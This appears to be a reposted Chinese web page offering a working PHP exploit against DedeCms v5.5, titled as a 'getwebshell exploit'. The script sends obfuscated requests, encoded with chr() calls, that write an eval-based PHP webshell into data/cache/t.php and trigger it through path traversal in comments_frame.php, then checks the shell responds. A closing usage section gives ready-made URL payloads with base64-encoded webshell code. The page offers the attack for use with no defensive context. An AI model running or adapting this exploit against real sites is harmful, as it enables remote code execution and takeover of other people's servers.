DedeCms v5.5 漏洞 -电脑资料

    print_r('

    +----------------------------------------+

    dedecms v5.5 final getwebshell exploit

    +----------------------------------------+

    ');

    if ($argc < 3) {

    print_r('

    +----------------------------------------+

    Usage: php '.$argv[0].' host path

    host:     target server (ip/hostname)

    path:     path to dedecms

    Example:

    php '.$argv[0].' localhost /dedecms/

    +----------------------------------------+

    ');

    exit;

    }

    error_reporting(7);

    ini_set('max_execution_time', 0);

    $host = $argv[1];

    $path = $argv[2];

    $post_a = 'plus/digg_ajax.php?id=1024e1024&*/fputs(fopen(chr(46).chr(46).chr(47).chr(100).chr(97).chr(116).chr(97).chr(47).chr(99).chr(97).chr(99).chr(104).chr(101).chr(47).chr(116).chr(46).chr(112).chr(104).chr(112),chr(119).chr(43)),chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(39).chr(116).chr(39).chr(93).chr(41).chr(59).chr(63).chr(62));/*';

    $post_b = 'needCode=aa/../../../data/mysql_error_trace';

    $shell = 'data/cache/t.php';

    get_send($post_a);

    post_send('plus/comments_frame.php',$post_b);

    $content = post_send($shell,'t=echo tojen;');

    if(substr($content,9,3)=='200'){

    echo "\nShell Address is:".$host.$path.$shell;

    }else{

    echo "\nError.";

    }

    function get_send($url){

    global $host, $path;

    $message = "GET ".$path."$url HTTP/1.1\r\n";

    $message .= "Accept: */*\r\n";

    $message .= "Referer: http://$host$path\r\n";

    $message .= "Accept-Language: zh-cn\r\n";

    $message .= "Content-Type: application/x-www-form-urlencoded\r\n";

    $message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";

    $message .= "Host: $host\r\n";

    $message .= "Connection: Close\r\n\r\n";

    $fp = fsockopen($host, 80);

    if(!$fp){

    echo "\nConnect to host Error";

    }

    fputs($fp, $message);

    $back = '';

    while (!feof($fp))

    $back .= fread($fp, 1024);

    fclose($fp);

    return $back;

    }

    function post_send($url,$cmd){

    global $host, $path;

    $message = "POST ".$path."$url HTTP/1.1\r\n";

    $message .= "Accept: */*\r\n";

    $message .= "Referer: http://$host$path\r\n";

    $message .= "Accept-Language: zh-cn\r\n";

    $message .= "Content-Type: application/x-www-form-urlencoded\r\n";

    $message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";

    $message .= "Host: $host\r\n";

    $message .= "Content-Length: ".strlen($cmd)."\r\n";

    $message .= "Connection: Close\r\n\r\n";

    $message .= $cmd;

    $fp = fsockopen($host, 80);

    if(!$fp){

    echo "\nConnect to host Error";

    }

    fputs($fp, $message);

    $back = '';

    while (!feof($fp))

    $back .= fread($fp, 1024);

    fclose($fp);

    return $back;

    }

    ?>

    利用方法

    复制代码

    http://xxx.com//uploads/plus/digg_frame.php?action=good&id=1024%651024&mid=*/fputs(fopen(base64_decode(ZGF0YS9jYWNoZS9jLnBocA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUWzFdKTsgPz4));?>

    复制代码

    http://xxx.com/uploads/plus/comments_frame.php?id=2&needCode=/../../../data/mysql_error_trace

    在data/cache下生成c.php